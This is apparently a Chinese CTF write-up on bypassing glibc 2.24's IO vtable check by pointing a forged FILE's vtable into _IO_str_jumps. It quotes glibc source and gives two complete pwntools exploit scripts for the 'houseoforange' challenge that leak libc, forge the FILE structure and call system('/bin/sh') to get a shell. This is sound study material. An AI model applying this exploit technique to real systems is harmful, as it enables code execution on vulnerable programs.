0x01 2.24 glibc关于vtable的安全检测 在2.24版本的glibc中,加入了对 vtable 的安全检测,glibc 会在调用虚函数之前在IO_validate_vtable
函数中,首先检查 vtable 地址的合法性,主要验证方法是根据偏移判断 vtable 是否位于_IO_vtable
段中,如果不满足条件会调用函数 _IO_vtable_check
进一步检测。
1 2 3 4 5 6 7 8 9 10 11 12 13 IO_validate_vtable (const struct _IO_jump_t *vtable) { uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; uintptr_t ptr = (uintptr_t ) vtable; uintptr_t offset = ptr - (uintptr_t ) __start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) _IO_vtable_check (); return vtable; }
当检测虚表的偏移大于_IO_vtable
段长时就会调用_IO_vtable_check()
做进一步检测
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 _IO_vtable_check (void ) { #ifdef SHARED void (*flag) (void ) = atomic_load_relaxed (&IO_accept_foreign_vtables); #ifdef PTR_DEMANGLE PTR_DEMANGLE (flag); #endif if (flag == &_IO_vtable_check) return ; { Dl_info di; struct link_map *l ; if (_dl_open_hook != NULL || (_dl_addr (_IO_vtable_check, &di, &l, NULL ) != 0 && l->l_ns != LM_ID_BASE)) return ; } #else if (__dlopen != NULL ) return ; #endif __libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n" ); }
0x02 利用 _IO_file_jumps 虚表中的 _IO_str_finish 函数进行利用 _IO_str_jumps 的结构如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 p _IO_str_jumps $4 = { __dummy = 0x0 , __dummy2 = 0x0 , __finish = 0x7f1ab46f5fa0 <_IO_str_finish>, __overflow = 0x7f1ab46f5c80 <__GI__IO_str_overflow>, __underflow = 0x7f1ab46f5c20 <__GI__IO_str_underflow>, __uflow = 0x7f1ab46f4600 <__GI__IO_default_uflow>, __pbackfail = 0x7f1ab46f5f80 <__GI__IO_str_pbackfail>, __xsputn = 0x7f1ab46f4630 <__GI__IO_default_xsputn>, __xsgetn = 0x7f1ab46f4710 <__GI__IO_default_xsgetn>, __seekoff = 0x7f1ab46f60d0 <__GI__IO_str_seekoff>, __seekpos = 0x7f1ab46f4a00 <_IO_default_seekpos>, __setbuf = 0x7f1ab46f4930 <_IO_default_setbuf>, __sync = 0x7f1ab46f4c00 <_IO_default_sync>, __doallocate = 0x7f1ab46f4a20 <__GI__IO_default_doallocate>, __read = 0x7f1ab46f5ad0 <_IO_default_read>, __write = 0x7f1ab46f5ae0 <_IO_default_write>, __seek = 0x7f1ab46f5ab0 <_IO_default_seek>, __close = 0x7f1ab46f4c00 <_IO_default_sync>, __stat = 0x7f1ab46f5ac0 <_IO_default_stat>, __showmanyc = 0x7f1ab46f5af0 <_IO_default_showmanyc>, __imbue = 0x7f1ab46f5b00 <_IO_default_imbue>
为什么可以利用函数 _IO_str_finish 获得shell 1 2 3 4 5 6 7 8 _IO_str_finish (_IO_FILE *fp, int dummy) { if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF)) (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); fp->_IO_buf_base = NULL ; _IO_default_finish (fp, 0 ); }
地址fp+0xe8是一个函数指针,函数_IO_str_finish
会调用其指向的函数,参数是_IO_buf_base
,如果我们将_IO_buf_base
修改为”/bin/sh”,接着在fp+0xe8处写入system函数地址,那么就会获得shell
报错时,glibc不会主动调用_IO_str_finish
函数,所以我们在利用时将vtable的地址减小了0x8
这样程序报错时调用_IO_str_overflow
虚表函数时,其实调用的是_IO_str_finish
函数
再加上_IO_flush_all_lockp
中触发OVERFLOW
的条件
条件为
fp->_IO_write_ptr > fp->_IO_write_base
fp->_mode <= 0
fp->_IO_buf_base 为真
!(fp->_flags & _IO_USER_BUF) 为真
总结利用条件为
fp->_IO_write_ptr =1
fp->_IO_write_base =0
fp->_mode = 0
_IO_buf_base写入”/bin/sh”的地址
fp->_flags = 0
exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 from pwn import *p = process(['/opt/glibc-2.24/lib/ld-linux-x86-64.so.2' ,'--library-path' ,'/opt/glibc-2.24/lib/' ,'./houseoforange' ]) elf = ELF('./houseoforange' ) libc = ELF('/opt/glibc-2.24/lib/libc-2.24.so' ) DEBUG = 0 VERBOSE = 1 if DEBUG: gdb.attach(p) if VERBOSE: context(log_level = 'debug' ) def z (a='' ) : gdb.attach(p) raw_input(a) def build (length,name) : p.recvuntil('Your choice : ' ) p.sendline('1' ) p.recvuntil('Length of name :' ) p.sendline(str(length)) p.recvuntil('Name :' ) p.send(name) p.recvuntil('Price of Orange:' ) p.sendline('2' ) p.recvuntil('Color of Orange:' ) p.sendline('2' ) p.recvuntil('Finish' ) def see () : p.recvuntil('Your choice :' ) p.sendline('2' ) def upgrade (length,name) : p.recvuntil('Your choice :' ) p.sendline('3' ) p.recvuntil('Length of name :' ) p.sendline(str(length)) p.recvuntil('Name:' ) p.send(name) p.recvuntil('Price of Orange: ' ) p.sendline('2' ) p.recvuntil('Color of Orange: ' ) p.sendline('2' ) p.recvuntil('Finish' ) def pwn () : build(0x10 ,'aaaa' ) payload = 'a' *0x18 + p64(0x21 ) + p64(0 )*3 + p64(0xfa1 ) upgrade(0x100 ,payload) build(0x1000 ,'cccccccc' ) build(0x400 ,'aaaaaaaa' ) see() p.recvuntil('a' *8 ) addr = u64(p.recvline()[:-1 ].ljust(8 ,'\x00' )) libc_base = addr - 1640 - 0x398b00 log.success('libc_base:' +hex(libc_base)) system_addr = libc_base + libc.symbols['system' ] log.success('system_addr: ' +hex(system_addr)) binsh_addr = libc_base + next(libc.search('/bin/sh\x00' )) log.success('binsh_addr: ' +hex(binsh_addr)) _IO_list_all_addr = libc_base+libc.symbols['_IO_list_all' ] log.success('_IO_list_all_addr: ' +hex(_IO_list_all_addr)) _IO_str_jumps = libc_base + libc.symbols['_IO_str_jumps' ] log.success('_IO_str_jumps:' +hex(_IO_str_jumps)) payload = 'a' *0x400 payload += p64(0 )+p64(0x21 )+p32(1 )+p32(0x1f )+p64(0 ) fake_file = p64(0 ) + p64(0x61 ) fake_file += p64(0 ) + p64(_IO_list_all_addr-0x10 ) fake_file += p64(0 ) + p64(1 ) fake_file += p64(0 ) fake_file += p64(binsh_addr) fake_file = fake_file.ljust(0xc0 ,'\x00' ) fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p64(_IO_str_jumps-0x8 ) fake_file = fake_file.ljust(0xe8 ,'\x00' ) fake_file += p64(system_addr) payload += fake_file upgrade(0x800 ,payload) p.recvuntil('Your choice : ' ) p.sendline('1' ) p.interactive() if __name__ == '__main__' : pwn()
使用模块
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 from pwn import *p = process(['/opt/glibc-2.24/lib/ld-linux-x86-64.so.2' ,'--library-path' ,'/opt/glibc-2.24/lib/' ,'./houseoforange' ]) elf = ELF('./houseoforange' ) libc = ELF('/opt/glibc-2.24/lib/libc-2.24.so' ) DEBUG = 0 VERBOSE = 1 if DEBUG: gdb.attach(p) if VERBOSE: context(log_level = 'debug' ) def z (a='' ) : gdb.attach(p) raw_input(a) def build (length,name) : p.recvuntil('Your choice : ' ) p.sendline('1' ) p.recvuntil('Length of name :' ) p.sendline(str(length)) p.recvuntil('Name :' ) p.send(name) p.recvuntil('Price of Orange:' ) p.sendline('2' ) p.recvuntil('Color of Orange:' ) p.sendline('2' ) p.recvuntil('Finish' ) def see () : p.recvuntil('Your choice :' ) p.sendline('2' ) def upgrade (length,name) : p.recvuntil('Your choice :' ) p.sendline('3' ) p.recvuntil('Length of name :' ) p.sendline(str(length)) p.recvuntil('Name:' ) p.send(name) p.recvuntil('Price of Orange: ' ) p.sendline('2' ) p.recvuntil('Color of Orange: ' ) p.sendline('2' ) p.recvuntil('Finish' ) def pwn () : build(0x10 ,'aaaa' ) payload = 'a' *0x18 + p64(0x21 ) + p64(0 )*3 + p64(0xfa1 ) upgrade(0x100 ,payload) build(0x1000 ,'cccccccc' ) build(0x400 ,'aaaaaaaa' ) see() p.recvuntil('a' *8 ) addr = u64(p.recvline()[:-1 ].ljust(8 ,'\x00' )) libc_base = addr - 1640 - 0x398b00 log.success('libc_base:' +hex(libc_base)) system_addr = libc_base + libc.symbols['system' ] log.success('system_addr: ' +hex(system_addr)) binsh_addr = libc_base + next(libc.search('/bin/sh\x00' )) log.success('binsh_addr: ' +hex(binsh_addr)) _IO_list_all_addr = libc_base+libc.symbols['_IO_list_all' ] log.success('_IO_list_all_addr: ' +hex(_IO_list_all_addr)) _IO_str_jumps = libc_base + libc.symbols['_IO_str_jumps' ] log.success('_IO_str_jumps:' +hex(_IO_str_jumps)) payload = 'a' *0x400 payload += p64(0 )+p64(0x21 )+p32(1 )+p32(0x1f )+p64(0 ) from FILE import * context.arch = 'amd64' fake_file = IO_FILE_plus_struct() fake_file._flags = 0 fake_file._IO_read_ptr = 0x61 fake_file._IO_read_base = _IO_list_all_addr-0x10 fake_file._IO_write_base = 0 fake_file._IO_write_ptr = 1 fake_file._IO_buf_base = binsh_addr fake_file._mode = 0 fake_file.vtable = _IO_str_jumps-0x8 payload += str(fake_file).ljust(0xe8 ,'\x00' ) payload += p64(system_addr) upgrade(0x800 ,payload) p.recvuntil('Your choice : ' ) p.sendline('1' ) p.interactive() if __name__ == '__main__' : pwn()
0x03 利用 _IO_file_jumps 虚表中的 _IO_str_overflow 函数进行利用 _IO_str_overflow
的定义如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 _IO_str_overflow (_IO_FILE *fp, int c) { int flush_only = c == EOF; _IO_size_t pos; if (fp->_flags & _IO_NO_WRITES) return flush_only ? 0 : EOF; if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING)) { fp->_flags |= _IO_CURRENTLY_PUTTING; fp->_IO_write_ptr = fp->_IO_read_ptr; fp->_IO_read_ptr = fp->_IO_read_end; } pos = fp->_IO_write_ptr - fp->_IO_write_base; if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only)) { if (fp->_flags & _IO_USER_BUF) return EOF; else { char *new_buf; char *old_buf = fp->_IO_buf_base; size_t old_blen = _IO_blen (fp); _IO_size_t new_size = 2 * old_blen + 100 ; if (new_size < old_blen) return EOF; new_buf = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size); if (new_buf == NULL ) { return EOF; } if (old_buf) { memcpy (new_buf, old_buf, old_blen); (*((_IO_strfile *) fp)->_s._free_buffer) (old_buf); fp->_IO_buf_base = NULL ; } memset (new_buf + old_blen, '\0' , new_size - old_blen); _IO_setb (fp, new_buf, new_buf + new_size, 1 ); fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf); fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf); fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf); fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf); fp->_IO_write_base = new_buf; fp->_IO_write_end = fp->_IO_buf_end; } } if (!flush_only) *fp->_IO_write_ptr++ = (unsigned char ) c; if (fp->_IO_write_ptr > fp->_IO_read_end) fp->_IO_read_end = fp->_IO_write_ptr; return c; } libc_hidden_def (_IO_str_overflow)
REFERENCE https://veritas501.space/2017/12/13/IO%20FILE%20%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/